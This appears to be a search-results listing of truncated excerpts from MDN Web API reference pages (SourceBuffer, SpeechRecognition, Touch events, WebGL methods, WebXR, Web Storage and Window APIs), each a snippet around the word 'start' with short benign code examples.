start(); } for a complete running example, see our basic shared worker example (run shared worker.) note: the data property of the event object used to be null in firefox. as of version 65 it is now initialized to an empty string, as per spec (bug 1508824). specifications specification status comment html living standardthe definition of 'onconnect' in that specification. ...
SourceBuffer.abort() - Web APIs
ort() is somewhat confusing — consider for example step 1 of reset parser state. the mse api is fully asynchronous, but this step seems to suggest a synchronous (blocking) operation, which doesn't make sense. saying that, current implementations can be useful in certain situations, when you want to stop the current append (or whatever) operation occuring on a sourcebuffer, and then immediately
start performing operations on it again. for example, consider this code: sourcebuffer.addeventlistener('updateend', function (_) { ... }); sourcebuffer.appendbuffer(buf); let's say that after the call to appendbuffer but before the updateend event fires (i.e. a buffer is being appended but the operation has not yet completed) a user "scrubs" the video seeking to a new point in time. in this case...
SourceBuffer.appendWindowEnd - Web APIs
sourcebuffer.appendwindowend; sourcebuffer.appendwindowend = 120.0; value a double, indicating the end time of the append window, in seconds. exceptions the following exceptions may be thrown when setting a new value for this property. exception explanation invalidaccesserror an attempt was made to set the value to less than or equal to sourcebuffer.appendwindow
start, or nan. invalidstateerror this sourcebuffer object is being updated (i.e. its sourcebuffer.updating property is currently true), or this sourcebuffer has been removed from the mediasource. example tbd specifications specification status comment media source extensionsthe definition of 'appendwindowend' in that specification. recommendation init...
SourceBuffer.remove() - Web APIs
the remove() method of the sourcebuffer interface removes media segments within a specific time range from the sourcebuffer. this method can only be called when sourcebuffer.updating equals false. if sourcebuffer.updating is not equal to false, call sourcebuffer.abort(). syntax sourcebuffer.remove(
start, end); parameters
start a double representing the
start of the time range, in seconds. end a double representing the end of the time range, in seconds. return value undefined. exceptions exception explanation invalidaccesserror the mediasource.duration property is equal to nan, the
start parameter is negative or greater than mediasource.duration, or the end parameter is less than or equal to
start or equal to nan. invalidstateerror the s...
SpeechRecognition.abort() - Web APIs
al | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.
start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'abort()' in that spe...
SpeechRecognition.stop() - Web APIs
al | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.
start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'stop()' in that spec...
SpeechSynthesisEvent - Web APIs
the speechsynthesisevent interface also inherits properties from its parent interface, event. speechsynthesisevent.charindex read only returns the index position of the character in the speechsynthesisutterance.text that was being spoken when the event was triggered. speechsynthesisevent.elapsedtime read only returns the elapsed time in milliseconds after the speechsynthesisutterance.text
started being spoken that the event was triggered at. speechsynthesisevent.name read only returns the name associated with certain types of events occuring as the speechsynthesisutterance.text is being spoken: the name of the ssml marker reached in the case of a mark event, or the type of boundary reached in the case of a boundary event. speechsynthesisevent.utterance read only returns the speech...
Streams API - Web APIs
more is loaded. but this has never been available to javascript before. previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after it is fully received. with streams being available to javascript, this all changes — you can now
start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob. there are more advantages too — you can detect when streams
start or end, chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at. the basic usage of streams hinges around maki...
StylePropertyMapReadOnly.get() - Web APIs
the get() method of the stylepropertymapreadonly interface returns a cssstylevalue object for the first value of the specified property. syntax var declarationblock = stylepropertymapreadonly.get(property) parameters property the name of the property to retrieve the value of. return value a cssstylevalue object. examples let's get just a few properties and values. ...
TextRange - Web APIs
he current range contains the specified range. textrange.isequal() returns whether the current range is equal to the specified range. textrange.move() collapses the range and moves the blank range by a specified number of units. such as, move("character",-1) means to move one character to the left. textrange.moveend() moves the end of the range by a specified number of units. textrange.move
start() moves the
start of the range by a specified number of units. textrange.movetoelementtext() causes the range to contain the text of the specified element. can only be used on element objects. textrange.parentelement() returns the parent element of the range, which is the smallest element that contains the range completely. if the selection contains more than one element, when you modify the...
TextTrack.mode - Web APIs
ed in a non-visual form (for example, the text might be spoken to describe the action in the video). tracks whose kind is "chapters" are used by the user agent or the web site or web app to construct and present an interface for navigating the named chapters, where each cue in the list represents a chapter in the media. the user can then navigate to the desired chapter, which begins at the cue's
start position and ends at the cue's end position. example in this example, we configure the text track's cues so that every time a cue is finished, the video automatically pauses playback. this is done by setting the pauseonexit property on each cue to true. however, to ensure that the track's cues are available, we first set mode to showing. window.addeventlistener("load", event => { let tracke...
TimeRanges.end() - Web APIs
) parameters index is the range number to return the ending time for. exceptions index_size_err a domexception thrown if the specified index doesn't correspond to an existing range. example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.
start(0) == 0 && buf.end(0) == v.duration) { // the one range
starts at the beginning and ends at // the end of the video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire video has been loaded. specifications specification status comment html living standardthe definition of 'timeranges.end()' in that specif...
TimeRanges.length - Web APIs
the timeranges.length read-only property returns the number of ranges in the object. syntax length = timeranges.length; example given a video element with the id "myvideo": var v = document.getelementbyid("myvideo"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.
start(0) == 0 && buf.end(0) == v.duration) { // the one range
starts at the beginning and ends at // the end of the video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire video has been loaded. specifications specification status comment html living standardthe definition of 'timeranges.length()' in that specification. living standard initial definition ...
Touch() - Web APIs
the touch() constructor creates a new touch object. syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, having the following fields: "identifier", required, of type long, that is the identification number for the touch point. "target", required, of type eventtarget, the item at which the touch point
started when it was first placed on the surface. "clientx", optional and defaulting to 0, of type double, that is the horizontal position of the touch on the client window of user's screen, excluding any scroll offset. "clienty", optional and defaulting to 0, of type double, that is the vertical position of the touch on the client window of the user's screen, excluding any scroll offset. "screenx", optional and defaulting to 0, of type doub...
Touch.force - Web APIs
e represented by the force attribute, and the sensitivity in levels of pressure, may vary. example this example illustrates using the touch interface's touch.force property. this property is a relative value of pressure applied, in the range 0.0 to 1.0, where 0.0 is no pressure, and 1.0 is the highest level of pressure the touch device is capable of sensing. in following code snippet, the touch
start event handler iterrates through the targettouches list and logs the force value of each touch point but the code could invoke different processing depending on the value. someelement.addeventlistener('touch
start', function(e) { // iterate through the list of touch points and log each touch // point's force. for (var i=0; i < e.targettouches.length; i++) { // add code to "switch" ba...
Touch.screenX - Web APIs
uch.screenx property is the horizontal (x) coordinate of a touch point relative to the screen in css pixels. the touch.screeny property is the vertical coordinate of a touch point relative to the screen in css pixels. in following simple code snippet, we assume the user initiates multiple touch contacts on an element with an id of source and then releases contacts with the surface. when the touch
start event handler is invoked, each touch point's touch.screenx and touch.screeny coordinates are accessed. // register a touch
start listeners for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touch
start', function(e) { // iterate through the touch points and log each screenx/y coordinate. // the unit of each coordinate is css pixels. var i; for (i=0...
Touch - Web APIs
e x coordinate of the touch point relative to the left edge of the document. unlike clientx, this value includes the horizontal scroll offset, if any. touch.pagey read only returns the y coordinate of the touch point relative to the top of the document. unlike clienty, this value includes the vertical scroll offset, if any. touch.target read only returns the element on which the touch point
started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document. touch area touch.radiusx read only returns the x radius of the ellipse that most closely circumscribes the area of contact with the screen. the value is in pixels of the same scale as screenx. touch.radiusy read only ...
TouchEvent() - Web APIs
event. toucheventinit optional is a toucheventinit dictionary, having the following fields: "touches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact currently touching the surface. "targettouches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact that is touching the surface and
started on the element that is the target of the current event. "changedtouches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact which contributed to the event. "ctrlkey", optional and defaulting to false, of type boolean, that indicates if the ctrl key was simultaneously pressed. "shiftkey", optional and defaulting to false, of type boolean, ...
TouchEvent.changedTouches - Web APIs
for the touchmove event, it is a list of the touch points that have changed since the last event. for the touchend event, it is a list of the touch points that have been removed from the surface (that is, the set of touch points corresponding to fingers no longer touching the surface). ...
TransitionEvent() - Web APIs
tionevent. it is case-sensitive and can only be: 'transitionend'. propertyname optional is a domstring containing the value of the property-name css property associated with the transition. it defaults to "". elapsedtime optional is float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an "animation
start" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). it defaults to 0.0. pseudoelement optional is a domstring,
starting with "::", containing the name of the pseudo-element the animation runs on. if the animation doesn't run on a pseudo-element but on the element, an empty string: "". ...
URLSearchParams.set() - Web APIs
search parameter to the given value. if there were several matching values, this method deletes the others. if the search parameter doesn't exist, this method creates it. note: this feature is available in web workers. syntax urlsearchparams.set(name, value) parameters name the name of the parameter to set. value the value of the parameter to set. return value void. examples let's
start with a simple example: let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a third parameter. params.set('baz', 3); params.tostring(); // "foo=1&bar=2&baz=3" below is a real-life example demonstrating how to create a url and set some search parameters. you can copy and paste the example in a code environment like codepen, jsfi...
USBDevice.opened - Web APIs
a device must be opened before it can be controlled by a web page. syntax var serialnumber = usbdevice.opened value a boolean. example this example is for a hypothetical usb device with a multi-colored led. it shows how to test that a device is open before calling usbdevice.controltransferout to set a specified led color. what data can be passed to a usb device and how it is passed is particular and unique to each device. ...
Using the User Timing API - Web APIs
g("... cleared all marks", 0); performance.clearmarks(); } } performance measures a measure performance entry type is named by the application and its timestamp is placed between two named marks thus a measure is effectively a midpoint between two marks in the browser's performance timeline. creating a performance measure a measure is created by calling performance.measure(measurename,
startmarkname, endmarkname) where measurename is the measure's name and
startmarkname and endmarkname are the
start and end names, respectively, of the marks the measure will be placed between (in the performance timeline). function create_measures(ev) { if (performance.measure === undefined) { log("create measures: performance.measure not supported", 1); return; } log("create measures",...
VTTCue - Web APIs
the vttcue interface—part of the api for handling webvtt (text tracks on media presentations)—describes and controls the text track associated with a particular <track> element. constructor vttcue(
starttime, endtime, text) returns a newly created vttcue object that covers the given time range and has the given text. param
starttime the time, in seconds and fractions of a second, that describes the beginning of the range of the media data to which the cue applies. endtime the time, in seconds and fractions of a second, that describes the end of the range of the media data to which the cue applies. text the raw text of the cue, and rules for its interpretation. properties this interface also inherits properties from texttrackcue. vttcue.region a vttregion o...
VTTRegion - Web APIs
tage of the video. vttregion.viewportanchory a double representing the viewport anchor y offset, as a percentage of the video. vttregion.scroll an enum representing how adding new cues will move existing cues. examples var region = new vttregion(); region.width = 50; // use 50% of the video width region.lines = 4; // use 4 lines of height. region.viewportanchorx = 25; // have the region
start at 25% from the left. var cue = new vttcue(2, 3, 'cool text to be displayed'); cue.region = region; // this cue will be drawn only within this region. specifications specification status comment webvtt: the web video text tracks format candidate recommendation ...
VideoPlaybackQuality - Web APIs
a videoplaybackquality object is returned by the htmlvideoelement.getvideoplaybackquality() method and contains metrics that can be used to determine the playback quality of a video. properties the videoplaybackquality interface doesn't inherit properties from any other interfaces. creationtime read only a domhighrestimestamp containing the time in miliseconds between the
start of the navigation and the creation of the object. droppedvideoframes read only an unsigned long giving the number of video frames dropped since the creation of the associated htmlvideoelement. totalvideoframes read only an unsigned long giving the number of video frames created and dropped since the creation of the associated htmlvideoelement. obsolete properties corruptedvideoframes read only an uns...
WebGL2RenderingContext.beginQuery() - Web APIs
the webgl2renderingcontext.beginquery() method of the webgl 2 api
starts an asynchronous query. the target parameter indicates which kind of query to begin. syntax void gl.beginquery(target, query); parameters target a glenum specifying the target of the query. possible values: gl.any_samples_passed: specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass). gl.any_samples_passed_conservative: same as above above, but less accurate and faster version. gl.transform_feedback_primitives_written: number of primitives that are written to transform feedback buffers. query a webglquery object for which to
start the querying. return value none. examples ...
WebGL2RenderingContext.beginTransformFeedback() - Web APIs
syntax void gl.begintransformfeedback(primitivemode); parameters primitivemode a glenum specifying the output type of the primitives that will be recorded into the buffer objects that are bound for transform feedback. possible values: gl.points gl.lines gl.triangles return value none. ...
WebGL2RenderingContext.bindBufferRange() - Web APIs
t) at a given index. syntax void gl.bindbufferrange(target, index, buffer, offset, size); parameters target a glenum specifying the target for the bind operation. possible values: gl.transform_feedback_buffer gl.uniform_buffer index a gluint specifying the index of the target. buffer a webglbuffer which to bind to the binding point (target). offset a glintptr specifying the
starting offset. size a glsizeiptr specifying the amount of data that can be read from the buffer. return value none. examples gl.bindbufferrange(gl.transform_feedback_buffer, 1, buffer, 0, 4); specifications specification status comment webgl 2.0the definition of 'bindbufferrange' in that specification. editor's draft initial definition for webgl. openg...
WebGL2RenderingContext.copyBufferSubData() - Web APIs
r (provided specifically for copy operations). gl.transform_feedback_buffer: buffer for transform feedback operations. gl.uniform_buffer: buffer used for storing uniform blocks. gl.pixel_pack_buffer: buffer used for pixel transfer operations. gl.pixel_unpack_buffer: buffer used for pixel transfer operations. readoffset writeoffset a glintptr specifying the byte offset from which to
start reading from or writing to the buffer. size a glsizei in bytes specifying the size of the data to be copied from readtarget to writetarget. return value none. examples var srcbuffer = gl.createbuffer(); var dstbuffer = gl.createbuffer(); var data = new float32array(vertices); var length = vertices.length * 4; gl.bindbuffer(gl.array_buffer, srcbuffer); gl.bufferdata(gl.array_buffer, data,...
WebGL2RenderingContext.copyTexSubImage3D() - Web APIs
l a glint specifying the level of detail. level 0 is the base image level and level n is the nth mipmap reduction level. xoffset a glint specifying the x offset within the texture image. yoffset a glint specifying the y offset within the texture image. zoffset a glint specifying the z offset within the texture image. x a glint specifying the x coordinate of the lower left corner where to
start copying. y a glint specifying the y coordinate of the lower left corner where to
start copying. width a glsizei specifying the width of the texture. height a glsizei specifying the height of the texture. return value none. examples gl.copytexsubimage3d(gl.texture_3d, 0, 0, 0, 0, 0, 0, 16, 16); specifications specification status comment webgl 2.0the definitio...
WebGL2RenderingContext.drawArraysInstanced() - Web APIs
lues are: gl.points: draws a single dot. gl.line_strip: draws a straight line to the next vertex. gl.line_loop: draws a straight line to the next vertex, and connects the last vertex back to the first. gl.lines: draws a line between a pair of vertices. gl.triangle_strip gl.triangle_fan gl.triangles: draws a triangle for a group of three vertices. first a glint specifying the
starting index in the array of vector points. count a glsizei specifying the number of indices to be rendered. instancecount a glsizei specifying the number of instances of the range of elements to execute. return value none. examples gl.drawarraysinstanced(gl.points, 0, 8, 4); specifications specification status comment webgl 2.0the definition of 'drawarraysinstance...
WebGL2RenderingContext.drawRangeElements() - Web APIs
the webgl2renderingcontext.drawrangeelements() method of the webgl api renders primitives from array data in a given range. syntax void gl.drawrangeelements(mode,
start, end, count, type, offset); parameters mode a glenum specifying the type primitive to render. possible values are: gl.points: draws a single dot. gl.line_strip: draws a straight line to the next vertex. gl.line_loop: draws a straight line to the next vertex, and connects the last vertex back to the first. gl.lines: draws a line between a pair of vertices. gl.triangle_strip gl.triangle_fan gl.triangles: draws a triangle for a group of three vertices.
start a gluint specifying the minimum array index contained in offset. end a gluint specifying the maximum array index contained in offset.
WebGL2RenderingContext.getBufferSubData() - Web APIs
r: buffer for copying from one buffer object to another. gl.transform_feedback_buffer: buffer for transform feedback operations. gl.uniform_buffer: buffer used for storing uniform blocks. gl.pixel_pack_buffer: buffer used for pixel transfer operations. gl.pixel_unpack_buffer: buffer used for pixel transfer operations. srcbyteoffset a glintptr specifying the byte offset from which to
start reading from the buffer. dstdata an arraybuffer or sharedarraybuffer to which to write the buffer data. srcoffset optional a gluint specifying the element index offset where to
start reading the buffer. length optional a gluint defaulting to 0. return value none. exceptions an invalid_value error is generated if: offset + returneddata.bytelength would extend beyond the end of the bu...
WebGL2RenderingContext.getIndexedParameter() - Web APIs
dparameter() method of the webgl 2 api returns indexed information about a given target. syntax any gl.getindexedparameter(target, index); parameters target a glenum specifying the target for which to return information. possible values: gl.transform_feedback_buffer_binding: returns a webglbuffer. gl.transform_feedback_buffer_size: returns a glsizeiptr. gl.transform_feedback_buffer_
start: returns a glintptr. gl.uniform_buffer_binding: returns a webglbuffer. gl.uniform_buffer_size: returns a glsizeiptr. gl.uniform_buffer_
start: returns a glintptr. index a gluint specifying the index of the target that is queried. return value depends on the requested information (as specified with target). examples var binding = gl.getindexedparameter(gl.transform_feedback_buffer_...
WebGLRenderingContext.bindAttribLocation() - Web APIs
ontext.bindattriblocation() method of the webgl api binds a generic vertex index to an attribute variable. syntax void gl.bindattriblocation(program, index, name); parameters program a webglprogram object to bind. index a gluint specifying the index of the generic vertex to bind. name a domstring specifying the name of the variable to bind to the generic vertex index. this name cannot
start with "webgl_" or "_webgl_", as these are reserved for use by webgl. return value none. examples gl.bindattriblocation(program, colorlocation, 'vcolor'); specifications specification status comment webgl 1.0the definition of 'bindattriblocation' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glbindattriblocat...
WebGLRenderingContext.bufferData() - Web APIs
specified repeatedly by reading data from webgl, and used many times as the source for webgl drawing and image specification commands. gl.stream_copy: the contents are intended to be specified once by reading data from webgl, and used at most a few times as the source for webgl drawing and image specification commands. srcoffset a gluint specifying the element index offset where to
start reading the buffer. length optional a gluint defaulting to 0. return value none. exceptions a gl.out_of_memory error is thrown if the context is unable to create a data store with the given size. a gl.invalid_value error is thrown if size is negative. a gl.invalid_enum error is thrown if target or usage are not one of the allowed enums. examples using bufferdata var canvas = docume...
WebGLRenderingContext.bufferSubData() - Web APIs
r object to another. gl.transform_feedback_buffer: buffer for transform feedback operations. gl.uniform_buffer: buffer used for storing uniform blocks. gl.pixel_pack_buffer: buffer used for pixel transfer operations. gl.pixel_unpack_buffer: buffer used for pixel transfer operations. dstbyteoffset a glintptr specifying an offset in bytes where the data replacement will
start. srcdata optional an arraybuffer, sharedarraybuffer or one of the arraybufferview typed array types that will be copied into the data store. srcoffset a gluint specifying the element index offset where to
start reading the buffer. length optional a gluint defaulting to 0. return value none. exceptions a gl.invalid_value error is thrown if the data would be written past the end of the...
WebGLRenderingContext.copyTexImage2D() - Web APIs
mponent. gl.rgb: discards the alpha components and reads the red, green and blue components. gl.rgba: red, green, blue and alpha components are read from the color buffer. gl.luminance: each color component is a luminance component, alpha is 1.0. gl.luminance_alpha: each component is a luminance/alpha component. x a glint specifying the x coordinate of the lower left corner where to
start copying. y a glint specifying the y coordinate of the lower left corner where to
start copying. width a glsizei specifying the width of the texture. height a glsizei specifying the height of the texture. border a glint specifying the width of the border. must be 0. return value none. examples gl.copyteximage2d(gl.texture_2d, 0, gl.rgba, 0, 0, 512, 512, 0); specifications ...
WebGLRenderingContext.copyTexSubImage2D() - Web APIs
negative z face for a cube-mapped texture. level a glint specifying the level of detail. level 0 is the base image level and level n is the nth mipmap reduction level. xoffset a glint specifying the horizontal offset within the texture image. yoffset a glint specifying the vertical offset within the texture image. x a glint specifying the x coordinate of the lower left corner where to
start copying. y a glint specifying the y coordinate of the lower left corner where to
start copying. width a glsizei specifying the width of the texture. height a glsizei specifying the height of the texture. return value none. examples gl.copytexsubimage2d(gl.texture_2d, 0, 0,0, 0, 0, 16, 16); specifications specification status comment webgl 1.0the definition of...
WebGLRenderingContext.drawArrays() - Web APIs
lues are: gl.points: draws a single dot. gl.line_strip: draws a straight line to the next vertex. gl.line_loop: draws a straight line to the next vertex, and connects the last vertex back to the first. gl.lines: draws a line between a pair of vertices. gl.triangle_strip gl.triangle_fan gl.triangles: draws a triangle for a group of three vertices. first a glint specifying the
starting index in the array of vector points. count a glsizei specifying the number of indices to be rendered. return value none. exceptions if mode is not one of the accepted values, a gl.invalid_enum error is thrown. if first or count are negative, a gl.invalid_value error is thrown. if gl.current_program is null, a gl.invalid_operation error is thrown. examples gl.drawarrays(gl.points,...
WebGLRenderingContext.generateMipmap() - Web APIs
the webglrenderingcontext.generatemipmap() method of the webgl api generates a set of mipmaps for a webgltexture object. mipmaps are used to create distance with objects. a higher-resolution mipmap is used for objects that are closer, and a lower-resolution mipmap is used for objects that are farther away. it
starts with the resolution of the texture image and halves the resolution until a 1x1 dimension texture image is created. syntax void gl.generatemipmap(target); parameters target a glenum specifying the binding point (target) of the active texture whose mipmaps will be generated. possible values: gl.texture_2d: a two-dimensional texture. gl.texture_cube_map: a cube-mapped texture. when using a webgl 2 context, the following values are available additionally: gl.te...
WebGLRenderingContext.getUniformLocation() - Web APIs
sing glsl. syntax webgluniformlocation = webglrenderingcontext.getuniformlocation(program, name); parameters program the webglprogram in which to locate the specified uniform variable. name a domstring specifying the name of the uniform variable whose location is to be returned. the name can't have any whitespace in it, and you can't use this function to get the location of any uniforms
starting with the reserved string "gl_", since those are internal to the webgl layer. the possible values correspond to the uniform names returned by getactiveuniform; see that function for specifics on how declared uniforms map to uniform location names. additionally, for uniforms declared as arrays, the following names are also valid: the uniform name without the [0] suffix. e.g. the loc...
WebGLRenderingContext.isContextLost() - Web APIs
tored after switching gpus. another page running in the user's browser performs an operation using the gpu that takes too long, causing hte browser to decide to reset the gpu in order to break the stall. this would cause every webgl context to be lost throughout the entire browser. the user updates their graphics driver on an operating system that allows graphics drivers to be updated without re
starting the system. examples for example, when checking for program linking success, you could also check if the context is not lost: gl.linkprogram(program); if (!gl.getprogramparameter(program, gl.link_status) && !gl.iscontextlost()) { var info = gl.getprograminfolog(program); console.log('error linking program:\n' + info); } specifications specification status comment ...
Basic scissoring - Web APIs
ctivate many other features of webgl; hence, the use of the scissor_test constant as an argument in this case). this again demonstrates the typical order of commands in webgl. we first tweak webgl state. in this case, enabling the scissor test and establishing a rectangular mask. only when the webgl state has been satisfactorily tweaked, we execute the drawing command (in this case, clear()) that
starts the processing of fragments down the graphics pipeline. <p>result of of scissoring.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function setupwebgl (evt...
Animating objects with WebGL - Web APIs
« previousnext » in this example, we'll actually rotate our square plane. this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. making the square rotate let's
start by making the square rotate. the first thing we'll need is a variable in which to track the current rotation of the square: var squarerotation = 0.0; now we need to update the drawscene() function to apply the current rotation to the square when drawing it. after translating to the initial drawing position for the square, we apply the rotation like this: mat4.rotate(modelviewmatrix, // destination matrix modelviewmatrix, // matrix t...
Creating 3D objects using WebGL - Web APIs
ition attribute { const numcomponents = 3; ... gl.vertexattribpointer( programinfo.attriblocations.vertexposition, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexposition); } define the vertices' colors we also need to build an array of colors for each of the 24 vertices. this code
starts by defining a color for each face, then uses a loop to assemble an array of all the colors for each of the vertices. const facecolors = [ [1.0, 1.0, 1.0, 1.0], // front face: white [1.0, 0.0, 0.0, 1.0], // back face: red [0.0, 1.0, 0.0, 1.0], // top face: green [0.0, 0.0, 1.0, 1.0], // bottom face: blue [1.0, 1.0, 0.0, 1.0], // right face: yel...
Using shaders to apply color in WebGL - Web APIs
then a new webgl buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer. to use these colors, the vertex shader needs to be updated to pull the appropriate color from the color buffer: const vssource = ` attribute vec4 avertexposition; attri...
WebRTC Statistics API - Web APIs
the full hierarchy of rtcstats-based dictionaries are listed, so you can easily find all the available values. mapping of statistic category names to the dictionaries they implement statistic category name (rtcstatstype) description dictionaries implemented candidate-pair statistics describing the change from one rtcicetransport to another, such as during an ice re
start. rtcicecandidatepairstats rtcstats certificate statistics about a certificate being used by an rtcicetransport. rtccertificatestats rtcstats codec statistics about a specific codec being used by streams being sent or received by this connection. rtccodecstats rtcsta...
WebXR application life cycle - Web APIs
in this guide, we'll get a birds-eye view of what's involved in creating and driving a webxr application, without diving down to the code level in detail. this serves as preparation for the next few articles in these webxr guides, which cover
starting up and shutting down a webxr session, geometry, simulating cameras, spatial tracking, and more. life cycle outline most applications using webxr will follow a similar overall design pattern: check to see if the user's device and browser are both capable of presenting the xr experience you want to provide. make sure the webxr api is available; if navigator.xr is undefined, you can assume the user's browser and/or device doesn't support webxr. if it's not supported, disable any user interface used to activate xr features and abort any ...
WebXR permissions and security - Web APIs
mode are rejected if the domain issuing the request does not have permission to enable an immersive session. this permission comes from the xr-spatial-tracking feature policy. once that check is passed, the request to enter immersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user event, or the from the
startup code for a user-launched web application. the document is considered trustworthy, in that it is responsible and is both currently active and has focus. the user's intent to enter immersive vr mode is well understood; see user intent below for details. if all of that is true, the promise returned by requestsession() is resolved, and the new xrsession object is passed into the fulfillment han...
Keyframe Formats - Web APIs
ence here, this will have no effect on animation since "float" is not an animatable css property. offset, which must be written as cssoffset since "offset" represents the keyframe offset as described below. the following special attributes may also be specified: offset the offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. this is equivalent to specifying
start and end states in percentages in css stylesheets using @keyframes. if this value is null or missing, the keyframe will be evenly spaced between adjacent keyframes. easing the timing function used from this keyframe until the next keyframe in the series. composite the keyframeeffect.composite operation used to combine the values specified in this keyframe with the underlying value. thi...
Web Speech API - Web APIs
ch, which may contain multiple speechrecognitionalternative objects. speechrecognitionresultlist represents a list of speechrecognitionresult objects, or a single one if results are being captured in continuous mode. speech synthesis speechsynthesis the controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device,
start and pause speech, and other commands besides. speechsynthesiserrorevent contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service. speechsynthesisevent contains information about the current state of speechsynthesisutterance objects that have been processed in the speech service. speechsynthesisutterance represents a speech requ...
Using the Web Storage API - Web APIs
embered. we have also provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a storageevent is fired. note: as well as viewing the example pages live using the above links, you can also check out the source code. ...
Web Storage API - Web APIs
ts, which the localstorage and sessionstorage properties hang off) — invoking one of these will create an instance of the storage object, through which data items can be set, retrieved and removed. a different storage object is used for the sessionstorage and localstorage for each origin — they function and are controlled separately. note: from firefox 45 onwards, when the browser crashes/re
starts, the amount of data saved per origin is limited to 10mb. this has been done to avoid memory issues caused by excessive usage of web storage. note: access to web storage from third-party iframes is denied if the user has disabled third-party cookies (firefox implements this behaviour from version 43 onwards.) note: web storage is not the same as mozstorage (mozilla's xpcom interfaces to sql...
Window: afterprint event - Web APIs
the afterprint event is fired after the associated document has
started printing or the print preview has been closed. bubbles no cancelable no interface event event handler property onafterprint examples using addeventlistener(): window.addeventlistener('afterprint', (event) => { console.log('after print'); }); using the onafterprint event handler property: window.onafterprint = (event) => { console.log('after print'); }; specifications specification status html living standard living standard ...
Window.devicePixelRatio - Web APIs
f the current display resolution matches a specific number of device dots per px. the updatepixelratio() function fetches the current value of devicepixelratio, then sets the innertext of the element pixelratiobox to a string which displays the ratio both as a percentage and as a raw decimal value with up to two decimal places. then the updatepixelratio() function is called once to display the
starting value, after which the media query is created using matchmedia() and addeventlistener() is called to set up updatepixelratio() as a handler for the change event. html the html creates the boxes containing the instructions and the pixel-ratio box that will display the current pixel ratio information. <div class="container"> <div class="inner-container"> <p>this example demonstrates the...
Window.getSelection() - Web APIs
; selobj is a selection object. selectedtext is a string (selected text). related objects you can call document.getselection(), which works identically to window.getselection(). it is worth noting that currently getselection() doesn't work on the content of <textarea> and <input> elements in firefox, edge (legacy) and internet explorer. htmlinputelement.setselectionrange() or the selection
start and selectionend properties could be used to work around this. notice also the difference between selection and focus. document.activeelement returns the focused element. specifications specification status comment selection apithe definition of 'window.getselection()' in that specification. working draft new spec. ...
Window.mozPaintCount - Web APIs
obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns the number of times the current document has been painted to the screen in this window. syntax var paintcount = window.mozpaintcount; paintcount stores the window.mozpaintcount property value. the window.mozpaintcount value is a long long, and
starts at zero when the document is first created, incrementing by one each time the document is painted. specification not part of any w3c technical specification or recommendation. ...
Privileged features - Web APIs
rn to the main window until the modal window is closed. a typical modal window is created by the alert() function. the exact behavior of modal windows depends on the platform and on the mozilla release version. note: as of gecko 1.9, the internet explorer equivalent to this feature is the window.showmodaldialog() method. for compatibility reasons, it's now supported in firefox. note also that
starting in gecko 2.0, you can use window.showmodaldialog() without universalbrowserwrite privileges. titlebar by default, all new secondary windows have a titlebar. if set to no or 0, this feature removes the titlebar from the new secondary window. mozilla and firefox users can force new windows to always render the titlebar by setting dom.disable_window_open_feature.titlebar to true in about...
Window.open() - Web APIs
ndow from the file menu. the url parameter specifies the url to be fetched and loaded in the new window. if url is an empty string, then a new blank, empty window (url about:blank) is created with the default toolbars of the main window. note that remote urls won't load immediately. when window.open() returns, the window always contains about:blank. the actual fetching of the url is deferred and
